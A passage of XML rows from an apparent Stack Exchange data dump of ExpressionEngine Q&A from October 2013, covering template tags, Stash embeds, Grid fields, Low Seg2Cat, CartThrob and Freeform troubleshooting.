  <row Id="15028" PostTypeId="1" AcceptedAnswerId="15180" CreationDate="2013-10-26T21:06:05.630" Score="2" ViewCount="144" Body="&lt;p&gt;is there a way to load the RTE javascript in a module for the cpanel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following, but keep getting an error when refreshing the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library(array('javascript', 'rte_lib'));&#xA;&#xA;ee()-&amp;gt;javascript-&amp;gt;output(&#xA;  ee()-&amp;gt;rte_lib-&amp;gt;build_js(0, '.WysiHat-field', NULL, TRUE)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error:&#xA;&lt;code&gt;Unable to load the requested class: rte_lib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="619" LastEditorUserId="197" LastEditDate="2013-10-31T03:08:04.867" LastActivityDate="2013-10-31T03:08:04.867" Title="Load RTE into custom module for use in control panel" Tags="|control-panel|add-on-development|rte|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15029" PostTypeId="2" ParentId="9521" CreationDate="2013-10-27T00:02:50.780" Score="2" Body="&lt;p&gt;Yes, you can do this. Just put those default values at the top. Those values will be replaced if they're set later in the order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;fma_list&quot; ... }&#xA;    {exp:channel:entries ... }&#xA;        {stash:var_run_here}no{/stash:var_run_here}&#xA;        {stash:var_type}none{/stash:var_type}&#xA;        {stash:var_title}{url_title}{/stash:var_title}&#xA;        {if is_global == 'y'}&#xA;            {stash:var_run_here}global{/stash:var_run_here}&#xA;        {if:else}&#xA;            {run_on_these_pages}&#xA;                {exp:switchee variable = &quot;{url_title}&quot; parse=&quot;inward&quot;}&#xA;                    {case value=&quot;{segment_2}&quot;}&#xA;                        {stash:var_run_here}yep{/stash:var_run_here}&#xA;                    {/case}&#xA;                {/exp:switchee}&#xA;            {/run_on_these_pages}&#xA;        {/if}&#xA;&#xA;        {exclude_from_these_sections}&#xA;            {exp:switchee variable = &quot;{option_name}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;{url_title}&quot;}&#xA;                    {stash:var_run_here}yep{/stash:var_run_here}&#xA;                {/case}&#xA;           {/exp:switchee}&#xA;        {/exclude_from_these_sections}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-27T00:02:50.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15030" PostTypeId="1" CreationDate="2013-10-27T01:46:30.820" Score="1" ViewCount="63" Body="&lt;p&gt;Template Morsels works (incredibly well) when I manually cache via its CP panel, but then after the scheduled 5 minutes passes the page takes as long to display as it would without Template Morsels. Am I misunderstanding how it works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit--I set interval to 0 and now the cache sticks. Will have to see if editing or adding entries refreshes cache. Preferences is set up for this so fingers crossed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit Again--Tried adding an entry and it works but, wow, every time you click the publish button it takes as long to publish as it would to load the front end page without Template Morsels. I get why this is, but that kind of makes it unworkable.&lt;/p&gt;&#xA;" OwnerUserId="1553" LastEditorUserId="1553" LastEditDate="2013-10-27T04:55:31.407" LastActivityDate="2013-10-28T13:40:20.247" Title="Why does Template Morsels not seem to work?" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15031" PostTypeId="1" AcceptedAnswerId="15043" CreationDate="2013-10-27T07:13:46.687" Score="1" ViewCount="166" Body="&lt;p&gt;This is my setup.&#xA;My URL &lt;strong&gt;my-site/index.php/group/template-x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template-x must call two different pieces of code.&#xA;I want that to happen by using the third segment, which shall be NL or BE. So &lt;strong&gt;my-site/index.php/group/template-x/NL&lt;/strong&gt; or &lt;strong&gt;my-site/index.php/group/template-x/BE&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two pieces of code are stored as Stash Templates. The names are consumenten-NL.html and consumenten-BE.html. I can show the code by calling them hard coded,&#xA;like &lt;code&gt;{stash:embed:registration:consumenten-NL}&lt;/code&gt; but I want to use &lt;code&gt;segment_3&lt;/code&gt; dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In template-x I can grab segment-3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;segment-3&quot;}{segment_3}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and show it in the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;segment-3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now calling the embeds in template-x:, I do not seem to be able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:registration:consumenten-{exp:stash:get name=&quot;segment-3&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error&#xA;Stash: the file &quot;../stash_templates/registration/consumenten-M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr.html&quot; was not found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried several other methods, but the documentation is too high for me, so I ask for a little assistance here.&#xA;Much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="69" LastEditDate="2013-10-30T15:40:59.590" LastActivityDate="2013-10-30T15:40:59.590" Title="how to parse segment_3 in tag stash:embed:" Tags="|stash|segments|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15032" PostTypeId="2" ParentId="14800" CreationDate="2013-10-27T07:44:13.537" Score="0" Body="&lt;p&gt;It’s accepted as Bug: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19837&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19837&lt;/a&gt; and it will be Fixed in Upcoming Release.&lt;/p&gt;&#xA;" OwnerUserId="2230" LastActivityDate="2013-10-27T07:44:13.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15033" PostTypeId="2" ParentId="15031" CreationDate="2013-10-27T07:46:20.363" Score="1" Body="&lt;p&gt;You may just need to add &lt;code&gt;process=&quot;end&quot;&lt;/code&gt; to your stash embed tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:stash:registration:consumenten-{exp:stash:get name=&quot;segment-3&quot;} process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two more options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't store segment_3 in stash since it's already a global variable. Use &lt;code&gt;{segment_3}&lt;/code&gt;  in your stash embed tag instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{embed:stash:registration:consumenten-{segment_3} process=&quot;end&quot;}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;set_value&lt;/code&gt; (&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset_value%7D&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) tag in template-x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:set_value name=&quot;segment-3&quot; value=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;{embed:stash:registration:consumenten-{segment-3} process=&quot;end&quot;}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try putting double quotes around &lt;code&gt;{segment_3}&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:stash:registration:consumenten-&quot;{segment_3}&quot; process=&quot;end&quot;}&#xA;{!-- OR without process parameter --}&#xA;{embed:stash:registration:consumenten-&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-27T11:16:09.730" LastActivityDate="2013-10-27T11:16:09.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15034" PostTypeId="1" AcceptedAnswerId="15082" CreationDate="2013-10-27T10:59:16.860" Score="1" ViewCount="140" Body="&lt;p&gt;I am sorry to ask again here, but facing a deadline and I am at the beginning of panic. And this is my first site with Cartthrob.&#xA;I cannot get my head behind how to add additional info at an order before checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want:&#xA;The customers might choose another delivery address. When so, they pay no shipping costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution:&#xA;Let them add the information to a field in the order channel, on submit return segment_3 = delevery or = pick-up. Set in the checkout form this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;pickup&quot;}&#xA;    {set_shipping_plugin value=&quot;single_flat_rate&quot;}&#xA;{if:else}&#xA;    {set_shipping_plugin value=&quot;by_quantity_threshold&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made in the order channel a new field, called nieuw_bezorgadres.&#xA;I pull information from a Profile:edit channel, showing the addresses as options, code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;nieuw_bezorgadres&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;member_profiles&quot; category=&quot;8&quot;}&#xA;&amp;lt;option value=&quot;{member_company} {member_address} {member_city} {member_country}&quot;&amp;gt;{member_company} {member_address} {member_city} {member_country}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem:&#xA;But how can I save the information in the order channel for the current transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for looking at this, it must be simple, that is why I run in circles.....&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="69" LastEditDate="2013-10-27T11:17:25.737" LastActivityDate="2013-10-29T02:23:51.417" Title="Cartthrob -Stuck with adding additional info to order channel before checkout" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15035" PostTypeId="2" ParentId="15031" CreationDate="2013-10-27T11:52:16.923" Score="2" Body="&lt;p&gt;Is the both occurrences of &lt;code&gt;{exp:stash:get name=&quot;segment-3&quot;}&lt;/code&gt; on the same template? In this case, I know how to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a trick peculiarity of eecms template parser that sometimes bites us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template parser, when fount some tag to parse, looks for all another instances of the same tag, with the same parameters and the same content on the template and replaces every one of them by a temporary marker, to avoid to parse the same code more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;code&gt;{exp:stash:get name=&quot;segment-3&quot;}&lt;/code&gt; is being replaced by &lt;code&gt;M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/code&gt;. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;segment-3&quot;}&#xA;[...]&#xA;{stash:embed:registration:consumenten-{exp:stash:get name=&quot;segment-3&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&#xA;[...]&#xA;{stash:embed:registration:consumenten-M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the parser founds &lt;code&gt;{stash:embed:registration:consumenten-M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr}&lt;/code&gt; and replaces it by another marker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the time of parsing the first tag, its occurrence inside the second one isn't there yet, so it remains not parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to prevent this &quot;caching&quot; on the second occurrence. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:registration:consumenten-{exp:stash:get name=&quot;segment-3&quot; random}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;random&lt;/code&gt; is an undocumented parameter that sometimes saves the day. Just use it when you really need it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about it &lt;a href=&quot;http://ellislab.com/forums/viewthread/85160/#429119&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://blog.ericlamb.net/2011/05/expressionengine-and-the-mystery-of-m00o93h7pq09l8x1t49chy01z5j4tt91fgfr/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.emarketsouth.com/add-ons/string-plugin/template-tags/#random-parameter&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-27T11:52:16.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15036" PostTypeId="1" AcceptedAnswerId="15045" CreationDate="2013-10-27T12:17:25.323" Score="0" ViewCount="92" Body="&lt;p&gt;I am maintaining an ecommerce site running with EE and CT. We have a Freeform Form set up on the Contact page. A lot of incoming emails from that form center around technical problems, e.g.. people not able to checkout for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To nail the problems down and to be able to better reproduce the problems I'd would ideally have the user-agent info at hand directly. I am thinking about (probably secretly) submitting this whenever a user fills out the Freeform form so I don't have to ask the people and send emails back and forth (it's tedious and to be honest most people having problems are the not so tech-savvy so telling them where to find the information needed isn't easy and most of the time results are never returned or are incomplete, like &quot;I'm using Firefox on Windows&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally open on what to use here. This means I don't necessarily have to use Freeform although it's pretty nice. I'd probably even upgrade to Freeform Pro for this but couldn't find any valuable information on the website regarding this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-10-28T12:48:27.267" Title="Submit useragent information with Freeform or similiar" Tags="|solspace-freeform|forms|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15037" PostTypeId="1" CreationDate="2013-10-27T15:17:57.423" Score="2" ViewCount="70" Body="&lt;p&gt;I am running EE 2.7.2 on a GoDaddy server and I'm attempting to create a new field in Solspace Freeform Pro 4.1.3. I get a white screen after clicking the New Field button. I believe I recall a comment in the Solspace weekly chat that there may be some issues with this combination...GoDaddy being the main issue. Has anyone run into this or aware of any fixes? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1669" LastActivityDate="2013-11-08T02:30:18.853" Title="White Screen When Adding New Field in Freeform Pro" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15038" PostTypeId="1" AcceptedAnswerId="15039" CreationDate="2013-10-27T20:44:33.447" Score="2" ViewCount="212" Body="&lt;p&gt;Just upgraded a site from EE 2.5 something to 2.7.2 it is running MSM all the subsites pull content from the main site. Each subsite has no content or categories of its own. (This is the way I inherited it) When I did the update I also updated low seg2cat from 2.6.1 to 2.8.0 The code below is a template in a subsite and it used to work just fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_1_category_id}&quot; != &quot;&quot;}&#xA;  {exp:channel:entries channel=&quot;channel_name&quot; site=&quot;site_name&quot; category_group=&quot;11&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;top_page&quot;}&#xA;    &amp;lt;h2&amp;gt;{if long_title}{long_title}{if:else}{title}{/if}&amp;lt;/h2&amp;gt;&#xA;{if article_img}&amp;lt;div class=&quot;article_img&quot; style=&quot;width:{article_img_width}px&quot;&amp;gt;{if article_source}&amp;lt;a href=&quot;{article_source}&quot;&amp;gt;{/if}{if article_img_link}&amp;lt;a href=&quot;{article_img_link}&quot;&amp;gt;{/if}{article_img wrap=&quot;image&quot;}{if article_img_link}&amp;lt;/a&amp;gt;{/if}{if article_source}&amp;lt;/a&amp;gt;{/if}&amp;lt;br/&amp;gt;&amp;lt;p class=&quot;caption&quot;&amp;gt;{article_img_caption}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;    {body}&#xA;{if more_info}&amp;lt;hr style=&quot;border-top: 2px dotted #555; background:none;&quot; /&amp;gt;&amp;lt;h3&amp;gt;For more information:&amp;lt;/h3&amp;gt;{more_info}{/if}&#xA;    &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Tagged with: {exp:tag:tags entry_id=&quot;{entry_id}&quot; type=&quot;weblog&quot; site=&quot;sitenames&quot; backspace=&quot;2&quot; orderby=&quot;clicks&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&amp;lt;a href=&quot;http://earthworksaction.org/tags/tag_entries/tag/{websafe_tag}&quot; title=&quot;{tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;, {/exp:tag:tags}&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {embed=&quot;site_name:includes/fb-twitter&quot;}&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now {segment_1_category_id} returns nothing. I rolled back the seg2cat version to 2.6.1 and then it produces the proper output. Only problem is it also creates php errors even though everything seems to work anyways. This is the error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;&#xA;Message: call_user_func_array() expects parameter 1 to be a valid callback, class 'Low_seg2cat_ext' does not have a method 'template_fetch_template'&#xA;&#xA;Filename: libraries/Extensions.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on a solution? I have a feeling it is now treating categories as site specific and because the subsite has no categories and technically it is referencing a category from the main site it is not returning anything.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="1283" LastEditDate="2013-10-27T20:59:55.700" LastActivityDate="2013-10-27T21:09:37.567" Title="low seg2cat on MSM site segment_x_cat not working" Tags="|multi-site-manager|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15039" PostTypeId="2" ParentId="15038" CreationDate="2013-10-27T21:09:37.567" Score="4" Body="&lt;p&gt;Low Seg2Cat has always been site specific. However, some have made a slight alteration to the extension file to search through all sites. To do this in the latest version, comment out (or remove) &lt;a href=&quot;https://github.com/low/low_seg2cat/blob/master/low_seg2cat/ext.low_seg2cat.php#L218&quot; rel=&quot;nofollow&quot;&gt;line 218 of ext.low_seg2cat.php&lt;/a&gt;, which reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where('site_id', $this-&amp;gt;site_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also make sure the Category Groups setting is set to &lt;em&gt;--All--&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;call_user_func_array&lt;/code&gt; error you mentioned is a result of the rollback. The new version added another hook/method to call. The old version doesn't contain the newly inserted method reference. Just use the new version with the above hack to allow for cross-site matching.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-27T21:09:37.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15040" PostTypeId="1" AcceptedAnswerId="15041" CreationDate="2013-10-27T21:11:40.653" Score="1" ViewCount="456" Body="&lt;p&gt;I'm getting some odd behaviour from my Grid field in the template (unless I'm misunderstanding the Grid docs). I have a custom Grid field used for placing images (columns are file, alt text and caption). In one of my channel entries I have three images set via this field. The following template code displays all three images, as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_grid}&#xA;&amp;lt;figure&amp;gt;&#xA;    &amp;lt;img src=&quot;{my_image_grid:file}&quot; alt=&quot;{my_image_grid:alt}&quot;&amp;gt;&#xA;    &amp;lt;figcaption&amp;gt;{my_image_grid:caption}&amp;lt;/figcaption&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;{/my_image_grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, also as expected, this code displays only the contents of the &lt;strong&gt;first&lt;/strong&gt; row of the grid field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_grid row_id=&quot;1&quot;}&#xA;    &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{my_image_grid:file}&quot; alt=&quot;{my_image_grid:alt}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{my_image_grid:caption}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;{/my_image_grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to display all rows &lt;em&gt;other than&lt;/em&gt; row 1, with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_grid row_id=&quot;not 1&quot;}&#xA;    &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{my_image_grid:file}&quot; alt=&quot;{my_image_grid:alt}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{my_image_grid:caption}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;{/my_image_grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get just the first row again. Just the first row is also displayed if I try to display a specific row other than 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_grid row_id=&quot;3&quot;}&#xA;    &amp;lt;figure&amp;gt;&#xA;        &amp;lt;img src=&quot;{my_image_grid:file}&quot; alt=&quot;{my_image_grid:alt}&quot;&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;{my_image_grid:caption}&amp;lt;/figcaption&amp;gt;&#xA;    &amp;lt;/figure&amp;gt;&#xA;{/my_image_grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone else verify this behaviour before I report it as a bug? Or am I doing something wrong (eg. misunderstanding how rows are ID-ed)? This is EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-10-28T11:18:40.400" Title="Bug in Grid row_id as a limiting parameter?" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15041" PostTypeId="2" ParentId="15040" CreationDate="2013-10-28T09:42:04.050" Score="0" Body="&lt;p&gt;It seems row_id works on the database table ID, not on the row number.&lt;br&gt;&#xA;Use the offset parameter and {gridfield:count} variable instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;del&gt;&#xA;In my opinion it's a bug, because if you only provide one row, the grid-parser will not take &quot;not&quot; into account somehow.&#xA;&#xA;To circumvent this bug add a zero in front so that it 'thinks' it has multiple entries.&#xA;&#xA;```&#xA;row_id=&quot;not 0|1&quot;&#xA;```&#xA;&lt;/del&gt;&#xA;&#xA;&lt;p&gt;(ps. bug filed: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19852&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19852&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-10-28T11:18:40.400" LastActivityDate="2013-10-28T11:18:40.400" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15042" PostTypeId="2" ParentId="14701" CreationDate="2013-10-28T09:58:05.200" Score="1" Body="&lt;p&gt;It might be a CSS cache problem.&#xA;Is the new version of the file &quot;/themes/cp_themes/default/css/global.css&quot; loaded?&#xA;It includes style declaration to hide the issued area.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The cause of my problem is that I copied DB from production environment to development one and then updated only development server.&#xA;I can see development site at, for example, &quot;&lt;a href=&quot;https://development.example.com/admin.php&quot; rel=&quot;nofollow&quot;&gt;https://development.example.com/admin.php&lt;/a&gt;&quot;, but it keeps production site's setting that the url is &quot;&lt;a href=&quot;http://production.example.com/&quot; rel=&quot;nofollow&quot;&gt;http://production.example.com/&lt;/a&gt;&quot;.&#xA;So, my browser loads CSS files from production site which have not been updated yet.&#xA;That's why I asked you to check CSS file cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IKEDA Tatsunobu&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2013-10-28T09:58:05.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15043" PostTypeId="2" ParentId="15031" CreationDate="2013-10-28T10:19:19.853" Score="1" Body="&lt;p&gt;Maybe I've misunderstood, but why make segment_3 a stash variable? It's already an early-parsed global variable. Thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:registration:consumenten-{segment_3}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-10-28T10:19:19.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15044" PostTypeId="1" CreationDate="2013-10-28T11:34:45.677" Score="2" ViewCount="109" Body="&lt;p&gt;Since upgrading to Store v2 we have started to notice 'empty' order confirmation emails coming through. There are no products listed and the value of the order is £0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the admin these orders are being marked as paid, but the customer and order details are blank. I'm not sure if this is a result of the upgrade, or if some naughty external script has just found the site and knows what php scripts to call to trigger the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grabs of the empty orders in the admin follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order list - notice the green 'yes' paid marker.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rFqQl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order detail page&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N22da.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2015-04-17T11:27:37.460" Title="Expresso Store - Empty orders triggering order confirmation email - Store v2" Tags="|expresso-store|email|orders|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15045" PostTypeId="2" ParentId="15036" CreationDate="2013-10-28T12:48:27.267" Score="2" Body="&lt;p&gt;You could have a hidden field (create a new text field in the CP and on the front end just use a hidden field in its place so it records) and inject the UA via JS from the onsubmit param of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;my_form&quot; form:onsubmit=&quot;document.getElementById('ua').value=window.navigator.userAgent;&quot;}&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ua&quot; id=&quot;ua&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;//rest form stuff&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-28T12:48:27.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15046" PostTypeId="1" AcceptedAnswerId="15149" CreationDate="2013-10-28T13:13:49.470" Score="1" ViewCount="112" Body="&lt;p&gt;I have just received a very unusual support request:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the content on a live website is no longer displayed on the front end of my clients site. All content is still accessible via control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically every instance of Channel:entries isn't working, neither are any structure tags, low event tags, low search results tags- basically if it extends channel entries its stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup a test template with the simplest of channel entries tags on there, but no matter which channel/entry I try to pull I keep getting the contents of my no_results conditional. As an a-side, Channel:categories tag works fine.&#xA;It seems to me that the entries method of the channel module has died somehow- the only changes that have happened on this site in weeks have been content based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this issue before? or have any pointers on how to resolve this- I've been looking at this all morning and can't event find anyone reporting a similar issue in the past (which is very disconcerting)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ISSUE RESOLVED:&#xA;It turns out that one of my clients employees had 